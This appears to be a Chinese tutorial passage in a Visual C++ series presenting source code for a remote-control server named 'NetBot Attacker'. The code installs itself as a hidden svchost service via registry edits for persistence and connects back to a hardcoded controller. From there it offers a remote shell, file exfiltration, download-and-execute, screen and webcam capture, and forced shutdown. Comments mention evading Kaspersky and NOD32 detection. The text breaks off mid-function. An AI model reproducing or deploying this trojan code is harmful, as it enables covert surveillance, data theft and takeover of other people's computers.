基于visual c++之windows核心编程代码分析（66）实现Windows服务的远程控制

Windows服务之前已经进行了讲解，如何在安装Windows服务呢，作为远程控制的服务端。

安装Windows服务代码如下

#include "stdafx.h"
//#include <windows.h>
#include "InstallService.h"
#include <winsvc.h>

BOOL StartService(LPCTSTR lpService)
{
SC_HANDLE        schSCManager;
SC_HANDLE        schService;
SERVICE_STATUS   ServiceStatus;
DWORD            dwErrorCode;

schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
if (schSCManager!=NULL)
{
schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
if (schService!=NULL)
{
//设置服务为自动启动
ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);

if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return true;
}
}
while(QueryServiceStatus(schService,&ServiceStatus)!=0)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
else
return FALSE;

return TRUE;
}

BOOL StopService(LPCTSTR lpService)
{
SC_HANDLE        schSCManager;
SC_HANDLE        schService;
SERVICE_STATUS   RemoveServiceStatus;

schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
if (schSCManager!=NULL)
{
schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
if (schService!=NULL)
{
//设置服务为禁用
ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);

if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务
{
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
}
}
}
CloseServiceHandle(schService);
}
::CloseServiceHandle(schSCManager);
}
else
return FALSE;

return TRUE;
}

BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
{
int rc = 0;
HKEY hKey = 0;
BOOL bRet = FALSE;
char szOpenKey[MAX_PATH];

try
{
//暂停服务
StopService(lpService);

//修改dll指向
ZeroMemory(szOpenKey,sizeof(szOpenKey));
wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
if(ERROR_SUCCESS != rc) throw "";

rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";

//运行服务
bRet = StartService(lpService);
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}

RegCloseKey(hKey);

return bRet;
}

BOOL InstallSvchostService(LPCSTR strServiceName,
LPCSTR strDisplayName,
LPCSTR strDescription,
LPCSTR strDllPath)
{
int rc = 0;
HKEY hKey = 0;
BOOL bRet = FALSE;
char szOpenKey[MAX_PATH];
try
{
bRet = InstallService(strServiceName,
strDisplayName,
strDescription,
"%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务

//修改dll指向
ZeroMemory(szOpenKey,sizeof(szOpenKey));
wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
//rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey);
if(ERROR_SUCCESS != rc) throw "";

rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
RegCloseKey(hKey);
//添加服务名到netsvcs组
ZeroMemory(szOpenKey,sizeof(szOpenKey));
strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
RegCloseKey(hKey);

bRet = StartService(strServiceName);
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}

RegCloseKey(hKey);

return bRet;
}

BOOL InstallService(LPCSTR strServiceName,
LPCSTR strDisplayName,
LPCSTR strDescription,
LPCSTR strPathName)
{
BOOL bRet = FALSE;
HKEY key=NULL;
SC_HANDLE svc=NULL, scm=NULL;
__try
{
scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
if (!scm)
__leave;
svc = CreateService(
scm,
strServiceName,
strDisplayName,
SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
strPathName,
NULL, NULL, NULL, NULL, NULL);

if (svc == NULL)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
if (svc==NULL)
__leave;
else
StartService(svc,0, 0);
}
}

char Desc[MAX_PATH];
wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));

if (!StartService(svc,0, 0))
__leave;

bRet = TRUE;
}
__finally
{
if (key!=NULL)
RegCloseKey(key);
if (svc!=NULL)
CloseServiceHandle(svc);
if (scm!=NULL)
CloseServiceHandle(scm);
}

return bRet;
}

void UninstallService(LPCTSTR strServiceName)
{
SC_HANDLE scm,svc;

scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (scm!=NULL)
{
svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
if (svc!=NULL)
{
::DeleteService(svc);
::CloseServiceHandle(svc);
}
::CloseServiceHandle(scm);
}
}

如何实现远程控制的一些列功能呢，键盘，鼠标远程协助，文件上传下载，视频截获，桌面视频截获等等。

请见代码与注释

#include "stdafx.h"
#include "svchost.h"
#include <shlwapi.h>
#include "../Seu_lib/Functions.h"
#include "InstallService.h"
#include "../Seu_lib/zconf.h"
#include "../Seu_lib/zlib.h"
#pragma comment(lib,"../Seu_lib/zlib.lib")	//图象无损数据压缩使用zlib库函数
#pragma comment(lib,"shlwapi.lib")
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/OPT:NOWIN98")

//#define NETBOT_TEST
/////////////////////////////////////////////////////////////////////////////////////////////
struct MODIFY_DATA
{
char  strIPFile[128];   //ip文件or DNS
char  strVersion[16];   //服务端版本
DWORD dwVipID;          //VIP ID
BOOL  bReplace;         //TRUE-替换服务，FALSE-新建服务
char  strSvrName[32];   //服务名称
char  strSvrDisp[100];  //服务显示
char  strSvrDesc[100];  //服务描述
char  ServerAddr[100];
int   ServerPort;
}modify_data =
{
"192.168.1.132:9000",
"080625",
62,
FALSE,
"NetBot",
"NetBot Attacker",
"NetBot Attacker",
" ",
8080,
};

HMODULE     g_hDllModule;

unsigned long resolve(char *host)
{
long i;
struct hostent *he;

if((i=inet_addr(host))<0)
if((he=(struct hostent*)gethostbyname(host))==NULL)//if((he=(struct hostent*)Ggethostbyname(host))==NULL)
return(0);
else
return(*(unsigned long *)he->h_addr);

return(i);
}

void GetIpAndPort()
{
char html[256];					//获取的网页
char *point;					//指针
char port[12];

memset(html,0,sizeof(html));

if(strstr(modify_data.strIPFile,"http") == NULL)//不含HTTP，表示是IP/DNS上线
{
strcpy(html,"[");
strcat(html,modify_data.strIPFile);
strcat(html,"]");
}
else
{
//获取网页内容
for(;;)
{
lstrcpy(html,strlwr(GetHttpFile(modify_data.strIPFile)));
if(strstr(html,"[")!=NULL)
break;
else
Sleep(10000);
}
}
//MessageBox(NULL,html,NULL,MB_OK);
//分离客户端ip和端口
point=html;
if(strstr(html,"[")!=NULL)
{
point=point+strlen("[");
}
if(strstr(point,":")!=NULL)
{
memset(modify_data.ServerAddr,0,sizeof(modify_data.ServerAddr));
strncpy(modify_data.ServerAddr,point,strcspn(point,":"));
point=point+strcspn(point,":")+1;

if(strstr(point,"]")!=NULL)
{
memset(port,0,sizeof(port));
strncpy(port,point,strcspn(point,"]"));
modify_data.ServerPort = atoi(port);
}
}
}

DWORD _stdcall RuningThread(LPVOID lParam)
{
WSADATA lpWSAData;
WSAStartup(MAKEWORD(2, 2), &lpWSAData);

while(1)
{
GetIpAndPort();

HANDLE hThread = NULL;
hThread = CreateThread(NULL,NULL,ConnectThread,NULL,NULL,NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

Sleep(10000);
}

WSACleanup();

return 0;
}

DWORD _stdcall ConnectThread(LPVOID lParam)
{
struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

//连接的socket
SOCKET MainSocket = socket(AF_INET, SOCK_STREAM, 0);

if(connect(MainSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
return 0;//connect error
else
TurnonKeepAlive(MainSocket, 75);

SysInfo m_SysInfo;
GetSystemInfo(m_SysInfo);//获取系统信息
m_SysInfo.iVipID = modify_data.dwVipID;
m_SysInfo.bVideo = CVideoCap::IsWebCam();
lstrcpy(m_SysInfo.cVersion, modify_data.strVersion);
EncryptData((unsigned char *)&m_SysInfo, sizeof(SysInfo), modify_data.dwVipID);//用产品ID号加密

//send socket type
MsgHead msgHead;
char    chBuffer[4096];

msgHead.dwCmd  = SOCKET_CONNECT;//填充消息
msgHead.dwSize = sizeof(SysInfo);

memcpy(chBuffer,&m_SysInfo, sizeof(SysInfo));//填充被控端信息

if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) )
{
closesocket(MainSocket);
return 1;//send socket type error
}

while(1)
{
//接收命令
if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead))
{//掉线，错误
shutdown(MainSocket,0x02);
closesocket(MainSocket);
break;
}

//解析命令
switch(msgHead.dwCmd)
{

case CMD_FILEMANAGE:
{
CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);//开一个文件管理的线程
}
break;
/*		case CMD_SCREENSTART:
{
//获取上线的socket==DWORD
DWORD dwSock = msgHead.dwExtend1;
CreateThread(NULL,NULL,ScreenThread,(LPVOID)dwSock,NULL,NULL);      //开一个屏幕传输的线程
}
break;
case CMD_PROCESSSTART:
{
CreateThread(NULL,NULL,ProcessThread,NULL,NULL,NULL);    //开一个进程管理的线程
}
break;
case CMD_SHELLSTART:
{
CreateThread(NULL,NULL,ShellThread,NULL,NULL,NULL);        //开一个远程Shell的线程
}
break;
case CMD_VIDEOSTART:
{
CreateThread(NULL,NULL,VideoThread,NULL,NULL,NULL);        //开一个视频捕捉的线程
}
break;
case CMD_HEARTBEAT://心跳包
{
//不处理这里，可以做计数，因为控制端基本也是定时发的
}
break;
case CMD_UNINSTALL://卸载
{
shutdown(MainSocket,0x02);
closesocket(MainSocket);
lstrcpy(modify_data.strIPFile,"");

char szDllPath[MAX_PATH],szCmdLine[MAX_PATH];
GetModuleFileName(g_hDllModule,szDllPath,MAX_PATH);
MoveFileEx(szDllPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
wsprintf(szCmdLine, "Rundll32 %s,RundllUninstall", szDllPath);
WinExec(szCmdLine, SW_HIDE);
}
break;
case CMD_POWEROFF://关机
{
SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0);
}
break;
case CMD_REBOOT://重启
{
SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
}
break;
case CMD_LOGOFF://注销
{
SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
}
break;
case CMD_DOWNEXEC://下载执行
{
char strUrl[256];
memset(strUrl, 0, 256);
lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
DownExec(strUrl);
}
break;
case CMD_OPENURL://打开网页
{
char strUrl[256];
memset(strUrl, 0, 256);
lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
OpenUrl(strUrl);
}
break;
case CMD_CTRLALTDEL:// Ctrl + Alt + del
{

}
break;
case CMD_KEYDOWN://WM_KEYDOWN
{
XScreenXor OpenDesktop;
int nVirtKey = msgHead.dwExtend1;
keybd_event((BYTE)nVirtKey,0,0,0);
}
break;
case CMD_KEYUP://WM_KEYUP
{
XScreenXor OpenDesktop;
int nVirtKey = msgHead.dwExtend1;
keybd_event((BYTE)nVirtKey,0,KEYEVENTF_KEYUP,0);
}
break;
case CMD_MOUSEMOVE://WM_MOUSEMOVE
{
XScreenXor OpenDesktop;
POINT pt;
pt.x = msgHead.dwExtend1;
pt.y = msgHead.dwExtend2;
SetCursorPos(pt.x, pt.y);
}
break;
case CMD_LBUTTONDOWN://WM_LBUTTONDOWN
{
XScreenXor OpenDesktop;
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
}
break;
case CMD_LBUTTONUP://WM_LBUTTONUP
{
XScreenXor OpenDesktop;
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
break;
case CMD_LBUTTONDBLCLK://WM_LBUTTONDBLCLK
{
XScreenXor OpenDesktop;
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
break;
case CMD_RBUTTONDOWN://WM_RBUTTONDOWN
{
XScreenXor OpenDesktop;
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
}
break;
case CMD_RBUTTONUP://WM_RBUTTONUP
{
XScreenXor OpenDesktop;
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
}
break;
case CMD_RBUTTONDBLCLK://WM_RBUTTONDBLCLK
{
XScreenXor OpenDesktop;
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
}
break;
*/
default:
break;
}
}

return 10;
}

//////////////////////////////////////////////////////////////////////////////////
//文件管理线程
DWORD _stdcall FileManageThread(LPVOID lParam)
{

struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
closesocket(FileSocket);
return 0;//connect error
}

//================================================================================
MsgHead msgHead;
char *chBuffer = new char[1536 * 1024]; //数据交换区 1.5MB

//send socket type
msgHead.dwCmd = SOCKET_FILEMANAGE;
msgHead.dwSize = 0;
if(!SendMsg(FileSocket, chBuffer, &msgHead))
{
if(chBuffer != NULL)
delete []chBuffer;

closesocket(FileSocket);
return 0;//send socket type error
}

while(1)
{
//接收命令
if(!RecvMsg(FileSocket, chBuffer, &msgHead))
break;

//解析命令
switch(msgHead.dwCmd)
{

case CMD_FILEDRIVER://获取驱动器
{
FileListDirver(chBuffer, &msgHead);
}
break;
case CMD_FILEDIRECTORY://获取文件夹
{
FileListDirectory(chBuffer, &msgHead);
}
break;
case CMD_FILEDELETE://删除
{
FileDelete(chBuffer, &msgHead);
}
break;
case CMD_FILEEXEC://执行
{
FileExec(chBuffer, &msgHead);
}
break;
case CMD_FILEPASTE://粘贴
{
FilePaste(chBuffer, &msgHead);
}
break;
case CMD_FILERENAME://重命名
{
FileReName(chBuffer, &msgHead);
}
break;
case CMD_FILEDOWNSTART://下载开始
{
FileOpt m_FileOpt;
memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));

if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
msgHead.dwCmd  = CMD_SUCCEED;
else
msgHead.dwCmd  = CMD_FAILED;
msgHead.dwSize = 0;
}
break;
/*	case CMD_FILEUPSTART://上传开始
{
FileOpt m_FileOpt;
memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));

if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
msgHead.dwCmd  = CMD_SUCCEED;
else
msgHead.dwCmd  = CMD_FAILED;
msgHead.dwSize = 0;
}
break;
*/
default:
{
msgHead.dwCmd = CMD_INVALID;
msgHead.dwSize = 0;
}
break;
}

//发送数据
if(!SendMsg(FileSocket, chBuffer, &msgHead))
break;
}

if(chBuffer != NULL)
delete[] chBuffer;

closesocket(FileSocket);

return 0;
}
///////////////////////////////////////////////////////////////////////////////////
DWORD _stdcall ScreenThread(LPVOID lParam)
{
DWORD dwSock = (DWORD)lParam;

struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

//屏幕监控的socket
SOCKET ScreenSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(ScreenSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
return 0;//connect error
}
else
{
//设置发送缓冲区,有利于屏幕传输
int rcvbuf = 65536; //64KB
int rcvbufsize=sizeof(int);
setsockopt(ScreenSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);
}

//稍微降低进程优先级
SetThreadPriority( GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL );
//=======================================================
MsgHead msgHead;
int nColor = 8;
//send socket type
msgHead.dwCmd = SOCKET_SCREEN;
msgHead.dwSize = 0;
msgHead.dwExtend1 = dwSock;
if(!SendMsg(ScreenSocket, NULL, &msgHead) ||
!RecvMsg(ScreenSocket, NULL, &msgHead) )//Get Screen Color
{
closesocket(ScreenSocket);
return 0;//send socket type error
}
else
{
nColor = msgHead.dwExtend1;
}

////////////////////////////////////////
XScreenXor m_ScreenXor;
m_ScreenXor.SetColor(nColor);//设置位图颜色
m_ScreenXor.InitGlobalVar();

msgHead.dwCmd = SOCKET_SCREEN;
msgHead.dwSize = 0;
msgHead.dwExtend1 = m_ScreenXor.GetBmpSize();
msgHead.dwExtend2 = m_ScreenXor.GetInfoSize();
//发送位图信息
if (!SendMsg(ScreenSocket, NULL, &msgHead))
{
closesocket(ScreenSocket);
return 0;//send socket type error
}

DWORD dwFrameID = 0, dwLastSend;
BOOL  bNotStop = TRUE;
DWORD lenthUncompress = m_ScreenXor.GetBmpSize();
DWORD lenthCompress = (lenthUncompress+12)*1.1;
BYTE* pDataCompress = new BYTE [lenthCompress];

while( bNotStop )
{
dwLastSend = GetTickCount();

lenthCompress = (lenthUncompress+12)*1.1;                                   //这里不能少
m_ScreenXor.CaputreFrame(dwFrameID);                                        //抓取当前帧
Sleep(10);
::compress(pDataCompress,                                                  //压缩数据
&lenthCompress,
m_ScreenXor.GetBmpData(),
lenthUncompress);

msgHead.dwCmd     = dwFrameID++;              //当前帧号
msgHead.dwSize    = lenthCompress;            //传输的数据长度
msgHead.dwExtend1 = m_ScreenXor.GetBmpSize(); //原始长度
msgHead.dwExtend2 = lenthCompress;            //压缩后长度

bNotStop = SendMsg(ScreenSocket, (char*)pDataCompress, &msgHead); //发送数据

if ((GetTickCount() - dwLastSend) < 110)
Sleep(100);
}

//释放掉掉分配的内存，句柄等等
closesocket(ScreenSocket);
delete [] pDataCompress;

return 0;
}

//////////////////////////////////////////////////////////////////////////////////
//视频捕捉
DWORD _stdcall VideoThread(LPVOID lParam)
{
struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

//视频捕捉的socket
SOCKET VideoSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(VideoSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
return 0;//connect error
}
else
{
//设置发送缓冲区,有利于视频传输
int rcvbuf = 65536; //64KB
int rcvbufsize=sizeof(int);
setsockopt(VideoSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);
}

//==================================================================
MsgHead msgHead;
//send socket type
msgHead.dwCmd = SOCKET_VIDEOCAP;
msgHead.dwSize = 0;
if(!SendMsg(VideoSocket, NULL, &msgHead))
{
closesocket(VideoSocket);
return 0;//send socket type error
}

///////////////////////////////////////////////
//Send BITMAPINFO or error code
if (!CVideoCap::IsWebCam())    //设备不存在或正在使用
{
msgHead.dwCmd = 1;
msgHead.dwSize = 0;
SendMsg(VideoSocket, NULL, &msgHead);
shutdown(VideoSocket,0x02);
closesocket(VideoSocket);
return 1;//send socket type error
}

CVideoCap m_Cap;
if (!m_Cap.Initialize())   //设备初始化失败
{
msgHead.dwCmd = 2;
msgHead.dwSize = 0;
SendMsg(VideoSocket, NULL, &msgHead);
shutdown(VideoSocket,0x02);
closesocket(VideoSocket);
return 2;
}

msgHead.dwCmd  = 0;
msgHead.dwSize = sizeof(BITMAPINFOHEADER);
if(!SendMsg(VideoSocket, (char*)&(m_Cap.m_lpbmi->bmiHeader), &msgHead))
{
closesocket(VideoSocket);
return 3;//send socket type error
}

DWORD dwFrameID = 0,dwLastSend;
BOOL  bNotStop = TRUE;
DWORD lenthUncompress = m_Cap.m_lpbmi->bmiHeader.biSizeImage - 5;//为啥-5？？
DWORD lenthCompress = (lenthUncompress+12)*1.1;
BYTE* pDataCompress = new BYTE [lenthCompress];

while (bNotStop)
{
dwLastSend = GetTickCount();//被卡巴杀

lenthCompress = (lenthUncompress+12)*1.1;                   //这个不能少
::compress(pDataCompress,                                   //压缩数据
&lenthCompress,
(BYTE*)m_Cap.GetDIB(),
lenthUncompress);

msgHead.dwCmd     = dwFrameID++;            //帧号
msgHead.dwSize    = lenthCompress;          //传输的数据长度
msgHead.dwExtend1 = lenthUncompress;        //未压缩数据长度
msgHead.dwExtend2 = lenthCompress;          //压缩后数据长度

bNotStop = SendMsg(VideoSocket, (char*)pDataCompress, &msgHead); //发送数据

if ((GetTickCount() - dwLastSend) < 100)
Sleep(80);
}

if (pDataCompress != NULL)
delete[] pDataCompress;

return 10;
}

/////////////////////////////////////////////////////////////////////////////////
//进程管理线程
DWORD _stdcall ProcessThread(LPVOID lParam)
{
struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

SOCKET ProcessSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(ProcessSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
closesocket(ProcessSocket);
return 0;//connect error
}

//================================================================================
MsgHead msgHead;
char    chBuffer[32 * 1024]; //数据交换区

//send socket type
msgHead.dwCmd = SOCKET_PROCESS;
msgHead.dwSize = 0;
if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
{
closesocket(ProcessSocket);
return 0;//send socket type error
}

while(1)
{
//接收命令
if(!RecvMsg(ProcessSocket, chBuffer, &msgHead))
break;

//解析命令
switch(msgHead.dwCmd)
{
case CMD_PROCESSLIST:
{
ProcessList(chBuffer, &msgHead);
}
break;
case CMD_PROCESSKILL:
{
ProcessKill(chBuffer, &msgHead);
}
break;
default:
{
msgHead.dwCmd = CMD_INVALID;
msgHead.dwSize = 0;
}
break;
}

//发送数据
if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
break;
}

closesocket(ProcessSocket);
return 0;
}
//////////////////////////////////////////////////////////////////////////////////
//远程shell线程
DWORD _stdcall ShellThread(LPVOID lParam)
{
struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

SOCKET ShellSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(ShellSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
closesocket(ShellSocket);
return 0;//connect error
}

//====================================================================
MsgHead msgHead;
char *chBuffer = new char[512 * 1024]; //数据交换区 512KB

//send socket type
msgHead.dwCmd = SOCKET_CMDSHELL;
msgHead.dwSize = 0;
if(!SendMsg(ShellSocket, chBuffer, &msgHead))
{
closesocket(ShellSocket);
return 0;//send socket type error
}

while(1)
{
//接收命令
if(!RecvMsg(ShellSocket, chBuffer, &msgHead))
break;

//解析命令
switch(msgHead.dwCmd)
{
case CMD_SHELLRUN:
{
DOSShell(chBuffer, &msgHead);
}
break;
default:
break;
}

//发送数据
if(!SendMsg(ShellSocket, chBuffer, &msgHead))
break;
}

if(chBuffer != NULL)
delete[] chBuffer;

closesocket(ShellSocket);
return 0;
}

//////////////////////////////////////////////////////////////////////////////////
//文件上传下载
DWORD _stdcall FileDownThread(LPVOID lParam)
{

FileOpt m_FileOpt;
memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));

struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
closesocket(FileSocket);
return 0;//connect error
}

MsgHead msgHead;
//send socket type
msgHead.dwCmd = SOCKET_FILEDOWN;
msgHead.dwSize = 0;
if(!SendMsg(FileSocket, NULL, &msgHead))
{
closesocket(FileSocket);
return 0;//send socket type error
}

//////////////////////////////////////////////////////
HANDLE hDownFile = INVALID_HANDLE_VALUE;
DWORD  dwDownFileSize = 0, dwBytes;
BYTE   SendBuffer[4096];
int nRet =0 ;

//get download data
hDownFile = CreateFile(m_FileOpt.cScrFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hDownFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR
dwDownFileSize  = 0;
else
dwDownFileSize = GetFileSize(hDownFile, NULL);

m_FileOpt.iSize = dwDownFileSize;
//send file message
if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwDownFileSize <= 0)
{
shutdown(FileSocket,0x02);
closesocket(FileSocket);
return 1;//send socket type error
}

//被NOD32启发杀了
//	HINSTANCE hInst;
HINSTANCE hInst = LoadLibrary("kernel32.dll");
if(hInst == NULL)
{
closesocket(FileSocket);
return 0;//send socket type error
}
typedef BOOL (WINAPI *pReadFile)(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
);
pReadFile MyReadFile;
//	pReadFile MyReadFile = (pReadFile)GetProcAddress(hInst, "ReadFile");

//循环发送文件数据
while(dwDownFileSize > 0)
{
if (MyReadFile)
{
if( !MyReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
break;
}
else
{
if( !ReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
break;
}

if( send(FileSocket, (char*)&SendBuffer, dwBytes, 0) <= 0 )
break;
dwDownFileSize -= dwBytes;

}
if (hInst)
FreeLibrary(hInst);
CloseHandle(hDownFile);
shutdown(FileSocket,0x02);
closesocket(FileSocket);

return 10;
}

DWORD _stdcall FileUpThread(LPVOID lParam)
{
FileOpt m_FileOpt;
memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));

struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(modify_data.ServerPort);
LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
closesocket(FileSocket);
return 0;//connect error
}

int iOutTime = 60000;//60秒超时
